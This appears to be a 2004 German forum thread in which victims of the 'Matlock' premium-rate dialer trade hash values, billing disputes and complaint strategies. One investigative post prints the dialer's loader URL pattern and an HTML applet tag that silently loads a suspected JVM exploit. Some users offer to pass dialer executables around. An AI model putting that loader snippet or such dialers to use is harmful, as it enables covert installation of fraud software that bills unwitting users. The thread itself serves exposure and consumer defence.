> -die Kommandozeilenparameter zum Starten der zweiten exe Datei sind gemaess Blick in meine Kristalkugel  zweifach vorhanden, welche verwendet werden, weiss ich nicht sicher.
> ...



Der Dailer wählt im übrigen die Nr. 264 an.

Gruß


----------



## cicojaka (12 März 2004)

*Zwischenfrage*

@mods und @alle hier

Zwischenfrage eines Unbeteiligten: Braucht jetzt jeder im Einzelfall die Beweise für seinen Einzelfall? Dann könnte ein Extra-Thread evtl. helfen, in dem erklärt wird, wonach zu suchen ist.

zB auch für Strafverfolger, die einen PC kriegen im Rahmen einer Strafanzeige.

(Gleicher Beitrag könnte auch bei der Hanseatischen stehen)


----------



## technofreak (12 März 2004)

*Re: Zwischenfrage*



			
				cj schrieb:
			
		

> @mods und @alle hier
> 
> Zwischenfrage eines Unbeteiligten: Braucht jetzt jeder im Einzelfall die Beweise für seinen Einzelfall? Dann könnte ein Extra-Thread evtl. helfen, in dem erklärt wird, wonach zu suchen ist.
> 
> ...



bei aller Liebe aber dies ist ein Forum , wir haben so schon genug zu tun (unter anderem Brötchen verdienen, 
auf das Forum aufpassen  usw. ) 
Es steht jedem frei sich selbst an mit einer  solchen Aufgabe zu befassen , nur zu erwarten , hier alles 
auf dem Tablett serviert zu bekommen, ist ein bißchen zu hoch gegriffen.
Dies ist eine  private nicht-kommerzielle Initiative und keine  öffentlich-rechtliche Einrichtung 

Außerdem gibt es hier auch eine Suchfunktion, und die wichtigsten Infos sind bereits gesammelt worden. 

tf


----------



## blumenwiese23 (12 März 2004)

*Re: Hurra gewonnen !!*



			
				Gast NR. Tausend schrieb:
			
		

> Hallo Geschädigte da draussen !
> Ich kann euch Mut machen !! Habe soeben von der Telekom die Info erhalten, dass mein Einspruch über den Dialerbetrag (77 € netto ) stattgegeben wurde !!   :bussi:
> Als Begründung wurde genannt, dass der Hashwert auf meinem PC nicht mit den drei registrierten Hahwerten des Dialer (Relax_B) übereinstimmen, und demnach der Dialer rechtswidrig ist.
> 
> Also Leute, die Rätsels Lösung ist der Hashwert, damit kriegt ihr den Dialer am Arsch !    (sorry)



@gast hast du der telekom einen brief geschrieben, und sie auf den hash-wertaufmerksam gemacht. oder kam es von der telekom aus. hab gestern nämlich einen brief geschrieben, und mich auf den falschen hash-wert bezogen. 
das mit dem hash-wert ist auf jeden fall eine heisse spur.
mit dem anderen kram kenn ich mich leider nicht aus. aber macht weiter so. das hört sich sehr interessant an.

gruss


----------



## eb-victim (12 März 2004)

*Matlock-Murks*



			
				Gast NR. Tausend schrieb:
			
		

> Also Leute, die Rätsels Lösung ist der Hashwert, damit kriegt ihr den Dialer am Arsch !    (sorry)


Ich weiß nicht, ob es bei der T-Com weiterhilft, aber:
- anscheinend zeigen alle Matlock-Dialer den Hashwert des am 4.2.03 unter der jeweiligen Telefonnummer registrierten Dialers an (auch, wenn der Dialer an einem anderen Tag registriert wurde) => falscher Hashwert verstößt gegen Mindestanforderungen
- anscheinend wurden alle am 4.2.03 registrierten Dialer unter einer falschen Versionsnummer eingetragen ==> falche Versionsnummer verstößt gegen Mindestanforderungen

Fazit: alle Dialer zeigen zumindest eine falche Version oder einen falschen Hashwert - selbst dann, wenn sie registriert sind.

Ich werde mal ausprobieren, was die Telekomiker dazu sagen ...


----------



## cicojaka (12 März 2004)

technofreak schrieb:
			
		

> cj schrieb:
> @mods und @alle hier




mods um Erlaubnis fragen, alle hier um Ausführung bitten. 

So war's gemeint. 

Ich tät's, wenn ich's könnt 


sorry wg gastbeitrag, bitte löschen


----------



## Anonymous (12 März 2004)

*Mich hat's auch erwischt*

Hallo zusammen,

seit ein paar tagen schon verfolge ich die einzelnen kommentare und habe mich jetzt auch entschlossen, mich auf dieser seite zu verewigen.

mich hat es auch erwischt unter der nummer 090090000426 was dem Dialer_090090000426.exe entspricht. war für 47sec mit diesem dialer im internet.
Habe etwas weiter vorne gelesen, wenn der hashwert der dialerexe nicht dem der regtp entspricht, man gute chancen hat aus der sache ungeschoren davon zu kommen.
kann mir jemand die exe von 426 zu schicken, denn bekannterweise ist ja nichts mehr von dem dialer auf dem rechner zu finden.

mittlerweile habe ich ein 2. fax an die telekom geschrieben (bin mal auf die antwort gespannt) und auch eine beschwerde an die regtp.
an die telekom habe ich nur den betrag ohne den betrag der easybilling ag überwiesen.

ich hoffe, der easybilling ag wird bald das handwerk gelegt.

trotz allem wünsche ich euch ein schönes wochenende.

betroffener20.02


----------



## haudraufundschluss (12 März 2004)

Betroffener schrieb:
			
		

> kann mir jemand die exe von 426 zu schicken, denn bekannterweise ist ja nichts mehr von dem dialer auf dem rechner zu finden.


Du solltest Dich hüten, den als eigenes Beweismittel zu präsentieren zu wollen. Ansonsten eignen sich zur Argumentation bezüglich entstandener Einwahlen über diese Nummer bereits die Eintragungen in der Datenbank der RegTP recht gut. Vielleicht lohnt sich auch eine Anfrage beim BSI bezüglich der Nummer.


----------



## Anonymous (12 März 2004)

Hallo Leute!

Die Freaks unter Euch können es wahrscheinlich schon nicht mehr lesen....aber ich bin auch ein geprellter der Nr. .......90000262!
Bei mir hat die Einwahl bereits 2 Mal am 02.01.04 stattgefunden. Achso, bei mir über ISDN und über die allgemein bekannte rosa Seit mit den starken bewaffneten Damen. Zu diesem Zeitpunkt gab es auf der Seite, ganz unten und außerhalb der Standartbildschirmanzeige (*g*), die bereits mit "JA" ausgefüllten Kästchen! Bei mir hat sich der Dialer beim !!Schliessen!! der Seite unter einer der nun aufgepoppenden Seiten eingenistet und gestartet. Habe nur durch Zufall gesehen wie die beiden kleinen Verbindungsmonitore in der Task-Leiste kurz verschwanden und wieder auftauchten..... Und ich Plödman wähle mich wieder "normal" ins Netz ein, schliesse die von der rosa Ursprungsseite geöffneten Fenster und pling, das gleiche Spiel nochmal. Verbindung getrennt und wieder neu gestartet!!

Danach habe ich meinen Rechner nach allen Möglichen Sachen durchsucht aber keine Dialer-,Web- und sonstige verdächtige .exe Dateien gefunden. Dabei habe ich mir nun nichts weiter gedacht...bis dann die Telekom-Rechung kam! Nun habe ich Rechnung wieder zurückgebucht, neu überwiesen und schriftlich erklärt warum usw.... dann hat sich nichts mehr getan bis zur Mahngebühr auf der nächsten Rechnung. Ich dann Ergebnislos durch alle möglichen Service-Nummern telefoniert......

Und dann hier auf das Forum gestoßen! 

Riesen LOB und Anerkennung an alle Spezies hier! 

Jetzt mit Hilfe des Forums habe ich nochmal meinen Rechner unter die Lupe genommen und habe außer dem Logfile meiner Telefonanlage nichts gefunden!!! Also hat sich die Selbstlöschung des dialers bei mir bestätigt.

Wie kann ich nun mein Erlebnis bei der Telekom begründen. Mein einziger Punkt wäre die nun gefundene Nr. der Verbindung (hatte bis jetzt keinen EVN..Telekom will von mir die Nummer haben, die selber können sie nicht erkennen *g* aber wissen natürlich wohin mit dem Geld!! und wenn nicht dann ab in die eigene Tasche????).
Nun nehme ich ja an, das es ja nur ein am 17.12.03 registrierter Dialer gewesen sein kann..oder? Und wie ist es dann mit dem 32-Stelligen Hash-Wert. Ist der nun nicht rechtens wie hier schonmal gelesen?
Das zweite währe ja, daß die Beschreibung auf der RegTP Seite nicht mit dem übereinstimmt, wie es bei mir geschehen ist. Der Dialer hat sich ja gelöscht...und das ist nicht beschrieben....!!!

Bin mit meinem Latein am Ende...werde noch eine Beschwerde an die RegTP über den Dialer senden.

Was haltet Ihr denn davon....wg. Beweis und Nachweis usw...habe ich da ´ne Chance.

Vielen Dank und Grüße...Tipoen


----------



## Petrus (12 März 2004)

*090090000229 bis 090090000470 = 242 Matlock-Abzock-Dialer*

Hi forum,

für alle, die noch an das Gute in der DTAG (Deutsche Telekom AG) glauben, wie z.B. Altenpfleger von Kölle:

Meine Schwägerin hatte auf ihrer Dezember-Rechnung 03 folgende Position:

Verbindungen zum Service 0190x
Artikel/Leistungsnummer 03288
Menge/Volumen/ tarifierte Zeit (= Anzahl Gebühreneinheiten ??) 2.096
Nettoeinzelbetrag (Preis pro Einheit ??):  0,0533 Euro
Nettogesamtbetrag 111,72 Euro

Da sie früher keinen EVN beantragt hatte, bekam sie folgerichtig diesmal auch keine Auskunft von der DTAG, welche Nummer da von ihren Geräten aus angewählt worden war. (siehe hierzu Anmerkung 1 ganz unten.)

Aus der Rechnung geht also nicht hervor, ob die Einwahl einmalig erfolgte und dann am Stück 2.096 Gebühreneinheiten lang die Verbindung ununterbrochen offen war oder ob es sich um 2.096 einzelne Anwahlen handelte, was dann durchschnittlich 70 Anwahlen pro Tag bedeuten würde.

Jetzt mal ehrlich, wo gibt es das noch, dass ein Inkassounternehmen (hier die DTAG) für einen anonymen Auftraggeber (dessen Durchwahlnummer die DTAG wie ein Gralsgeheimnis hütet) abkassieren darf und kann.

Welcher Idiot, außer dem unmündig gehaltenen und vom Monopolisten abhängigen Telekomkunden, läßt sich sowas gefallen: Rechnung vom Inkassounternehmen ohne Rechnung des "anonymen Leistungserbringers" ???

Wo leben wir eigentlich, und in welchem Jahrhundert  ??
Frühere Dichter haben sich über die Willkür der Ämter und Behörden erregt. Die würden uns mit unserem Fortschrittsglauben ganz schön auslachen, und mit Recht.

"Alles ist besser geworden, nur die Moral, die ist schlechter geworden."
________________________________________________________________________________________
Anmerkung 1: Meine unfrisierten Gedanken zum EVN und der DTAG findet ihr unter dem 11.03. 20:00 !
________________________________________________________________________________________
Mit unhimmlichen, aber keinesfalls höllischen, sondern ganz irdischen Grüßen
Petrus


----------



## Insider (12 März 2004)

Gast schrieb:
			
		

> ...bin auch ein geprellter der Nr. .......90000262!
> Bei mir hat die Einwahl bereits 2 Mal am 02.01.04 stattgefunden. Achso, bei mir über ISDN und über die allgemein bekannte rosa Seit mit den starken bewaffneten Damen. Zu diesem Zeitpunkt gab es auf der Seite, ganz unten und außerhalb der Standartbildschirmanzeige (*g*), die bereits mit "JA" ausgefüllten Kästchen! Bei mir hat sich der Dialer beim !!Schliessen!! der Seite unter einer der nun aufgepoppenden Seiten eingenistet und gestartet. Habe nur durch Zufall gesehen wie die beiden kleinen Verbindungsmonitore in der Task-Leiste kurz verschwanden und wieder auftauchten..... Und ich Plödman wähle mich wieder "normal" ins Netz ein, schliesse die von der rosa Ursprungsseite geöffneten Fenster und pling, das gleiche Spiel nochmal. Verbindung getrennt und wieder neu gestartet!!
> 
> Was haltet Ihr denn davon....wg. Beweis und Nachweis usw...habe ich da ´ne Chance.
> ...


Zivilrechtlich stehen Deine Chancen ganz gut. Mach den üblichen Widerspruch gegen den Einzelposten der Telefonrechnung und warte ab, was in der nächsten Zeit mit Matlock & Co. passiert.
Unterstützen kannst Du die Maßnahmen gegen die Verantwortlichen, indem Du 
1. eine detailierte Beschwerde an die RegTP sendest und
2. den nahezu gleichen Text als Anzeige wegen Computerbetrug gem. § 263a StGB an die StA Flensburg richtest.
3. Schließe Dich dem User "Petrus" an, der hier Geschädigte sammelt - aber bedenke, jeder ist für seinen eigenen Erfolg selbst versantwortlich, da jeer Verbindungsaufbau eine einzelen Straftat in sich birgt, auch wenn der Tatentschluss der Initatoren einmalig (dreist) war.


----------



## TSCoreNinja (12 März 2004)

Wie haengt eigentlich der LA Ableger von Matlock mit darin?

Whois der Webseite wie folgt:

```
Matlock Business Corp.
[xxxxxxxx]([email protected])
Matlock Business Corp., 8391 Beverly Blvd., Pmb. 700
Los Angeles
California,CA 90048
US
Tel. +49.19025687
Creation Date: 26-Aug-2003 
Expiration Date: 26-Aug-2004
```
[edit]vermutlichen Namen vor Mail wegen NUBs geloescht[/edit]
http://MATLOCK.IN.LA/dialer/load.php?did=$PHONENUMBER, wobei phonenumber eine der bekannten Telephonnummern ist. 
3mal Ja Eingabe, plus Hash Anzeige, Wirkungsweise etc.
erhalte ich die URL
http://MATLOCK.IN.LA/dialer/load.php?did=$PHONENUMBER

```
<BODY BGCOLOR="black" TEXT="white">
<H1><CENTER> Loading </Center></H1>
<APPLET ID="applt" ARCHIVE="archive_090090000262.zip" CODE="Counter.class" WIDTH=0 HEIGHT=0>
<PARAM NAME="ARGS" VALUE=" -web=yes">
</APPLET>
```
Interessant ist  -web 
Schade, dass archive_$PHONENUMBER.zip nicht gelinkt ist...  Counter.class ist vermutlich ein bekannter MS JVM Exploit. Ansonsten werde ich mal einen Freund bitten, im LAer Telefonbuch nachzuschauen... 

Gruesse,
TSCoreNinja

PS: komplette URL gegen PN


----------



## Insider (12 März 2004)

TSCoreNinja schrieb:
			
		

> Tel. +49.19025687


Schon allein diese Telefonnummer ist überhaupt nicht geschaltet  -das sagt soch schon so manches aus, oder?
Das "Projekt" Matlock gibt es tatsächlich - es war eines der Flüsterthemen bei einer Adultveranstaltung im letzten Sommer, in Los Angeles. Toll, wieviele deutsche Webmaster damals dort gewesen sein sollen - ich hatte leider keine Einladung, die ich selbst hätte bezahlen sollen.


----------



## cicojaka (12 März 2004)

bravo!

(edit: Dieses Bravo bezog sich ursprünglich auf den Beitrag zwei höher)



			
				TSCoreNinja schrieb:
			
		

> Matlock Business Corp., 8391 Beverly Blvd., Pmb. 700



[edited]

google mal nach der angegebenen Adresse, da finden sich zahlreiche Übereinstimmungen. 

Andere Suchmethode: Was nach "galleries" kommt, scheint das Kürzel für das PP oder den webmaster zu sein. Ohne Gewähr... 

Und noch etwas: Dass Du vorsichtig bist, weiss ich... Allen anderen sei es dringend empfohlen... 

Aber ich halte das noch immer für eine Falle, deren Sinn ich jeden Tag weniger begreife...


----------



## Anonymous (12 März 2004)

auch ich bin mit von der partie. bei mir ist die 0900 9000422 gewesen. nun habe ich die telekomrechnung bekommen und eine einrede formuliert und an die telekom geschickt. heute ist die antwort von der t-com eingetroffen. natürlich ein standardschreiben mit dem üblichem bla bla. dialer ist bei der reg. behörde regestriert etc - auf dem offenen posten wird weiterhin bestanden.

das heißt für mich jetzt ersteinmal ein 2. schreiben formulieren und zurückfaxen. mal sehen was daraus wird. bei mir waren es glücklicherweise nur 30 €, aber für einen studenten für nix schon recht viel. wenn es zum prozess kommen wird, werde ich prozesskostenbeihilfe beantragen. es geht mir halt wie den meisten anderen ums prinzip.

jedoch habe ich keinerlei beweise auf meinem rechner gefunden, da regelmäßig meine temp files gelöscht werden. deshalb bin ich mal gespannt, vielleicht hilft mir ja die beweislastumkehr weiter. da es bei mir auch schon was her ist 03.02.2004 denke ich das ich defintiv nichts mehr auf meinem rechner finden werde. jedoch bin ich mir sicher, das es wie auf der seite von peter huth abgelaufen ist. war auch auf der seite mit den bewaffneten frauen. danach ist mir das symbol in der taskleiste aufgefallen und habe die verbindung direkt unterbrochen. 

werde euch aber auf dem laufenden halten. danke nochmal für die hilfestellungen in diesem forum.

gruss frank


----------



## cicojaka (12 März 2004)

gast schrieb:
			
		

> auch ich bin mit von der partie. bei mir ist die 0900 9000422 gewesen. nun habe ich die telekomrechnung bekommen und eine einrede formuliert und an die telekom geschickt. heute ist die antwort von der t-com eingetroffen. natürlich ein standardschreiben mit dem üblichem bla bla. dialer ist bei der reg. behörde regestriert etc - auf dem offenen posten wird weiterhin bestanden.




Ich würde dringend darauf hinweisen, dass die RegTP selbst erklärt:

ZITAT
_Die Registrierung von Dialern bei der Reg TP stellt kein Gütesiegel dar. Mit der Registrierung erhalten Sie als Verbraucher jedoch Informationen über die registrierten Dialer und wer sich dahinter verbirgt. Um Sie effektiv zu informieren, hat die Reg TP eine Dialer-Datenbank aufgebaut, die hier angewählt werden kann. Darin werden zeitnah Informationen zu allen registrierten Dialer veröffentlicht._

Außerdem gibt es sehr wohl dialer, die registriert waren und es nicht mehr sind. Auch mit dem neuen Gesetz. registriert=seriös? Weitverbreiteter Irrtum! Wem die Telekom allerdings weis machen will, dass sie davon nichts weiß, bleibt für mich ein Rätsel.

Weiteres Argument: Bis ein registrierter Dialer aus der Datenbank verschwindet, das dauert sehr lange... Das siehst Du wohl eindrucksvoll an diesem Beispiel hier...


----------



## technofreak (12 März 2004)

cj schrieb:
			
		

> Weiteres Argument: Bis ein registrierter Dialer aus der Datenbank verschwindet,
> das dauert sehr lange... Das siehst Du wohl eindrucksvoll an diesem Beispiel hier...


Verschwinden werden voräufig auch die Dialer nicht  aus der *Datenbank* , 
die *nicht* mehr registriert sind .

http://bo2005.regtp.de/prg/srvcno/dialer.asp


> Hinweis: Die unter einer (0)190-/(0)900-Rufnummer vor dem 14.12.2003 registrierten
> Dialer sind weiterhin in der Datenbank enthalten, dürfen jedoch nicht mehr eingesetzt werden.
> Nach Rechtsauffassung der RegTP besteht daher auch kein Zahlungsanspruch
> für nach dem 14.12.2003 hergestellte Verbindungen.



tf


----------



## cicojaka (12 März 2004)

na, ich mein natürlich, dass es dialer gibt, die von der RegTP nach Beschwerden geprüft und für nicht registrierbar eingeschätzt werden und daher mit zurückgezogener Registrierung registriert sind.

Praktisch die B-Klasse, C-Klasse wäre niemals registriert.


----------



## eb-victim (13 März 2004)

haudraufundschluss schrieb:
			
		

> Betroffener schrieb:
> 
> 
> 
> ...


Ich habe den Dialer in der Version vom 4.2.2004 und suche selber die Version vom 17.12.2003.
Meine Überlegung: nachweisen, dass alle Dialer für diese Nummer die Mindestvoraussetzungen verletzen und deshalb nicht eingesetzt werden dürfen.
Nehme auch Dialer für andere Matlock-Nummern, sofern sie am 17.12.2003 registriert wurden (Angebote bitte per PN).


----------



## eb-victim (13 März 2004)

*Trojaner und Dialer: Zufall?*

Auf meinem Rechner hat sich der Trojaner Vorofer eingenistet - zwei Minuten, bevor der Matlock-Dialer angewählt hat.
Ist das Zufall? Oder ist das gar Methode: Vorofer ruft nämlich per Zufallsgenerator Internetseiten auf.
Beweise habe ich keine.


----------



## hrachka (13 März 2004)

Da es sich mehrere Leute gemeldet haben, dass Sie Dailer brauchen, oder den eigenen"verloren" haben, biete ich meinen hier zur Verfügung, denn glücklicherweise habe ich ihn vorerst gezipt. Also der ist für die Nummer xxxx263.

Übrigens, vielleicht für einige von euch total dumme Frage, aber wie erfahre ich den Hashwert des Dailers? Hilfsmittel?

PS. PN mit MailAdresse schicken


----------



## hrachka (13 März 2004)

ich bin`s wieder. nach eine Scancheck der festplatte ist mir das hier aufgefallen. kann jemand das gebrauchen? Die Datei ist isoliert

C:\Program Files\ACE Mega CoDecS Pack\UtilitieS\mp4def.exe - Verdächtig: Datei ist mit einem UPX Scrambler gepackt!


----------



## Step (13 März 2004)

*Hashwert*

wie bereits erwähnt... ich benötige auch dringend einen tip wie ich zu einem hashwert meines pc komme bei einem analogen tel. anschluß!
wer kann helfen oder/und screenshots schicken?
danke


----------



## Fidul (13 März 2004)

Die RegTP stellt ein kleines Programm zur Verfügung, mit dem der Hashwert bequem ermittelt und mit dem aus der Datenbank verglichen werden kann. Download hier.


----------



## Ernst-Helmut (13 März 2004)

*Re: Hashwert*

Huhu!
Witzig ist ja auch die rosa Seite, zu der man gelangt, wenn man die Nr. 0900...263 in Google eingibt; die Seite hat ein Bild mit vielen frierenden Frauen, darunter gleich die AGBs mit allem hier erwähnten (29,99 € pro Verbindung, automatische Entfernung des Einwahlprogramms nach Trennen der Verbindung...). (':evil:')
Jedenfalls steht unten noch ein Clickable "hier gehts zum Hashwert". 
Den Klick hab ich noch nicht ausprobiert, SOLLTE MAN WOHL EHER AUCH NICHT TUN, SOLANGE MAN NOCH ÜBER ISDN EINE VERBINDUNGSMÖGLICHKEIT NACH DRAUSSEN HAT! BITTE NUR ÜBER DSL!!!  Wer weiß, was sonst passieren könnte...
Ernst-Helmut




			
				Step schrieb:
			
		

> wie bereits erwähnt... ich benötige auch dringend einen tip wie ich zu einem hashwert meines pc komme bei einem analogen tel. anschluß!
> wer kann helfen oder/und screenshots schicken?
> danke


----------



## na_fets (13 März 2004)

*Hashwert*

Hallo,

habe am 2.1.2004 einen web.exe eingefangen und ca. 30 EUR (für ein paar Sek.) auf der Tel.-Rech. Die eingewählte Nummer ist 090090000261.
Habe nun bei der REGTP den Hashwert gecheckt (die web.exe war noch auf meinem Rechner) und habe gesehen, dass düe diese Tel.-Nr. drei Hashwerte hinterlegt sind:

Reg.-Nr.: 90090000261-734881 vom : Dec 9 2003 10:20AM 
Adressierungsmerkmal : 
Hash - Wert :063331291186d3f1266bc11a3c775764 
Dateiname : Dialer_090090000261.exe 
Dialer - Version : 2.0.0.208  

Reg.-Nr.: 90090000261-756022 vom : Dec 17 2003 1:33PM 
Adressierungsmerkmal : 
Hash - Wert :007bf8b7b826d1e9938e351d21843805 
Dateiname : Dialer_090090000261.exe 
Dialer - Version : 2.0.0.1  

Reg.-Nr.: 90090000261-1263825 vom : Feb 4 2004 9:50AM 
Adressierungsmerkmal : 
Hash - Wert :0ADB0F97E1A0EF6F70DFC03D0A60C435CF16CA40 
Dateiname : Dialer_090090000261.exe 
Dialer - Version : 3.0.0.1  

Mein web.exe weist nun aber den Hash-Wert des dritten EIntrages (
0ADB0F97E1A0EF6F70DFC03D0A60C435CF16CA40) auf. Dieser datiert aber auf den 4.2.2004 -- mein Dialer hatte am 2.1.2004, also ca. einen Monat vor diesem Datum, zugeschlagen.

Frage: Bringt mir das was bzw. was bedeutet das Datum bei Re.-Nr.?

Keep on fighting!

na_fets


----------



## blumenwiese23 (13 März 2004)

*Re: Hashwert*



			
				na_fets schrieb:
			
		

> Hallo,
> 
> habe am 2.1.2004 einen web.exe eingefangen und ca. 30 EUR (für ein paar Sek.) auf der Tel.-Rech. Die eingewählte Nummer ist 090090000261.
> Habe nun bei der REGTP den Hashwert gecheckt (die web.exe war noch auf meinem Rechner) und habe gesehen, dass düe diese Tel.-Nr. drei Hashwerte hinterlegt sind:
> ...



das versuch ich der telekom schon seit 3 wochen klarzumachen. es ist grotesk, sich auf ein registrierungsdatum zu beziehen, dass nach der ungewollten einwahl ist.

versuch du es mal.  gruss


----------



## Anonymous (13 März 2004)

*Betreff: 090090000263 oder auch Matlock - ermitteln Sie*

Hallo,

auf Ihrer Telefonrechnung wird sich ein Betrag von € 29,95 einschl. Märchensteuer wiederfinden. Mir ist es ebenso ergangen. Ich habe bereits Maßnahmen ergriffen. Aber Vorsicht bei weiterem Einwählen ins Internet. Der sogenannte Userfreundliche Dialer manipuliert den Media-Player von Microsoft, der dann ca. 72 KB groß ist und eigentlich nur als Umleitung gedacht ist. Einfaches Löschen ist zwecklos. Kann nur regelrecht deinstalliert werden.

ist leider keine große Hilfe, aber ein Trost - nachher sollten keine weiteren Kosten mehr auftreten.

Vielleicht kann man mit einer Gemeinschaftsklage gegen den Betreiber vorgehen.

ein Leidensgenosse


----------



## Dino (13 März 2004)

> ...Gemeinschaftsklage...



Naheiiiiin, kann man nihicht...http://forum.computerbetrug.de/viewtopic.php?t=1474


----------



## technofreak (13 März 2004)

*Re: Betreff: 090090000263 oder auch Matlock - ermitteln Sie*



			
				Gast schrieb:
			
		

> Vielleicht kann man mit einer Gemeinschaftsklage gegen den Betreiber vorgehen.



Den Begriff gibt es genauso wenig wie eine Sammelklage :

Siehe : http://forum.computerbetrug.de/viewtopic.php?t=1474

Jeder muß in Deutschland seinen Fall selber durchfechten, was es gibt ,sind Sammelermittlungsverfahren.

tf


----------



## Petrus (13 März 2004)

*090090000263 bis unendlich*

Hallo ihr frisch Geschädigten,

lasst doch auf jeden Fall bei der DTAG (Telekom) die Nummerngassen
0190 / 0900 
sperren.
Kostet zwar einmalig netto 7 Euro ungrad, aber danach surft man doch etwas unbekümmerter.

Außerdem beabsichtige ich, nächste Woche die RegTP auf die DTAG zu hetzen, damit RegTP überprüft, wieviele Reklamationen es von Kunden wegen überhöhter Rechnung (eben wegen der PRS = Premium Rate Service) mit diesen Vorwahlen 0190 und 0900 gab, und wieviele dieser Reklamanden gleichzeitig oder bald danach diese Nummerngasse sperren ließen.

Auch das erhärtet die Vermutung, dass dem Kunden eine Dienstleistung "angediehen" wurde, die er nicht haben wollte und in Zukunft nicht mehr haben will.

Habt ihr mal überlegt, dass man diesen höllischen Sumpf von Internet- und Dialer-Betrug auch dadurch austrocknen könnte, dass es keine Telekomkunden mehr gäbe, die man über diese Nummern abzocken kann, weil von allen Kunden gesperrt.

Eigentlich sollte Frau Renate Künast, unsere oberste Verbraucherschutzministerin (von der man zur Zeit noch nicht weiß, ob sie nicht doch mehr die DTAG schützt), eigentlich sollte sie ein Gesetz auf den Weg bringen, wonach die DTAG bei allen Kunden bis zu einem bestimmten Termin, z.B. 01.04.04 diese Vorwahlen bei allen Kunden sperren muß und nur auf ausdrücklichen Wunsch des Kunden freischalten darf. Das wäre überzeugender Verbraucherschutz, alles andere hat den Hauch von Einflußnahme durch eine Lobby, die im leichtverdienten Geld schwimmt, in unserem sauerverdienten Geld wohlgemerkt.

Mit himmlichen Grüssen

Petrus


----------



## technofreak (13 März 2004)

*Re: 090090000263 bis unendlich*



			
				Petrus schrieb:
			
		

> Eigentlich sollte Frau Renate Künast, unsere oberste Verbraucherschutzministerin
> (von der man zur Zeit noch nicht weiß, ob sie nicht doch mehr die DTAG schützt), eigentlich sollte
> sie ein Gesetz auf den Weg bringen, wonach die DTAG bei allen Kunden bis zu einem bestimmten
> Termin, z.B. 01.04.04 diese Vorwahlen bei allen Kunden sperren muß und nur auf ausdrücklichen
> Wunsch des Kunden freischalten darf.



Um hier den Eindruck etwas gerade zu rücken, bisher sind alle Ansätze den Verbraucherschutz 
grundlegend zu verbessern, am Widerstand im Bundesrat gescheitert, bzw, verwässert worden. 
Die Kenntnis darüber welche Mehrheitsverhältnisse im Bundesrat herrschen, 
wird als allgemein  bekannt vorausgesetzt.

Nachzulesen in den einschlägigen Nachrichten des letzten Jahres, z.b bei Heise on-line Archiv 2003

und :
http://forum.webmart.de/wmmsg.cfm?id=1464360&d=0&sr=101&a=1&t=1486772

tf


----------



## Anonymous (13 März 2004)

*Easy Billing exDialer Matlock*

Hallo!

Also ich habe auch Probleme mit denen, habe aber sowohl den Dialer gesichert (p.exe) wie auch einige Screenshots sowie den Quelltext der aufrufenden Seite.


----------



## Petrus (13 März 2004)

*Dialerbetrug, Verbraucherschutz und Nummensperrung*

Hi forum, 
Hi Technofreak

vielen Dank für Deine beiden Links.

Was die Parteien behaupten, und was sie dann wirklich betreiben, wer kann das noch durchschauen ??

In dem einen Link steht

http://forum.webmart.de/wmmsg.cfm?id=1464360&d=0&sr=101&a=1&t=1486772

"Immerhin: Verbraucherministerin Renate Künast kündigte heute an, den Erfolg der neuen Regelungen genau zu überwachen. Sollte der Nummernmissbrauch dadurch nicht wesentlich eingedämmt werden, seien Nachbesserungen möglich."

Nun, so wollen wir doch nicht müde werden, Renate Künast daraufhinzuweisen, was aus Sicht der Verbraucher noch verbessert werden kann, oder will irgendeiner im Forum behaupten, dass die bisherigen Maßnahmen und Gesetze ausreichen ??

Mit himmlichen Grüßen

Petrus


----------



## blumenwiese23 (13 März 2004)

*Re: 090090000263 bis unendlich*



			
				Petrus schrieb:
			
		

> Hallo ihr frisch Geschädigten,
> 
> lasst doch auf jeden Fall bei der DTAG (Telekom) die Nummerngassen
> 0190 / 0900
> ...



das ist eh ein riesen witz. die dtag verdient bestenfalls dreifach
sie vermieten ja die 0900-nummern.
wie viel prozent bekommt die telekome eigentlich, als inkasso von matlock?? bestimmt 30%. dann kassieren sie erstmal die 30%, und verkaufen dem schockierten kunden noch die sperre....


----------



## na_fets (13 März 2004)

*mshta.lgc*

_Doppelpostings,  daher hier gelöscht  tf /Moderator_

siehe http://forum.computerbetrug.de/viewtopic.php?p=44208#44208


----------



## Anonymous (13 März 2004)

*Re: 090090000263 bis unendlich*



			
				technofreak schrieb:
			
		

> (...)
> Nachzulesen in den einschlägigen Nachrichten des letzten Jahres, z.b bei Heise on-line Archiv 2003
> 
> und :
> ...



unter [Achtung, sehr grosse Datei!] h**p://www.bundestag.de/gremien15/a09/004Anhoerungen/TKG/materialeingeladene.pdf findet sich eine ziemlich große Datei (2,8 MB) über eine aktuelle Anhörung bzgl. des Mehrwertdienstegesetzes. Ich hatte noch keine Zeit, sie zu lesen...

Die Diskussion der Politik ist schon etwa so alt wie dieses Forum hier 


zB Interview Renate Künast  am 10. März - wohlgemerkt: 2002!!!

http://www.heise.de/newsticker/meldung/25505

_Grundsätzlich sind die so genannten Internet-Dialer, von denen Sie sprechen, ein einfaches und kostengünstiges Abrechnungsverfahren. Dienstleistungen, die über die Telefonleitung erbracht werden, also über den Telefon-, Fax- oder Internet-Anschluss, können so leicht verrechnet werden. Sie sind gut für die Nutzer, zum Beispiel, wenn damit Nachschlagewerke für Spezialgebiete per Gebühren aktuell abgefragt werden können. Als überzeugte Nutzerin des Internet schätze ich diesen Informationsservice sehr. Insofern macht es Sinn, 0190er-Nummern zuzulassen. Doch diese neuen Abrechnungstechniken sind offenbar nicht ausreichend gegen Missbrauch abgesichert._

Da prozessierte die Mutter mit ihrem Sohn (BGH-Urteil) schon gegen die Anbieter, oder?

_*Wenn der Verbraucherschutz nicht garantiert wird, schadet dies den elektronischen Dienstleistungen*. Dann nimmt der Großteil der Bevölkerung nicht daran teil, weil er dem Medium nicht vertraut. Das finden die Anbieter sicher nicht erstrebenswert. _
(...)
_Aber wenn ich mir die Szenerie anschaue –- und den Ärger, den es für die Kunden auf diesem Gebiet gibt –- *kann ich mir vorstellen, dass auch eine Verbesserung der Rechtslage für die Kunden gebraucht wird*_


Meiner Parteifreundin kann ich hier nur entgegnen: ICH WOLLT ICH WÄR EIN HUHN! Für deren Schutz wird mehr getan...


Interessant und ebenfalls aus dem Jahr 2002:

Heise kommentiert ein Treffen der Dialeranbieter mit (u.a.) CDU/CSU-Politikern:

http://www.heise.de/newsticker/meldung/26134

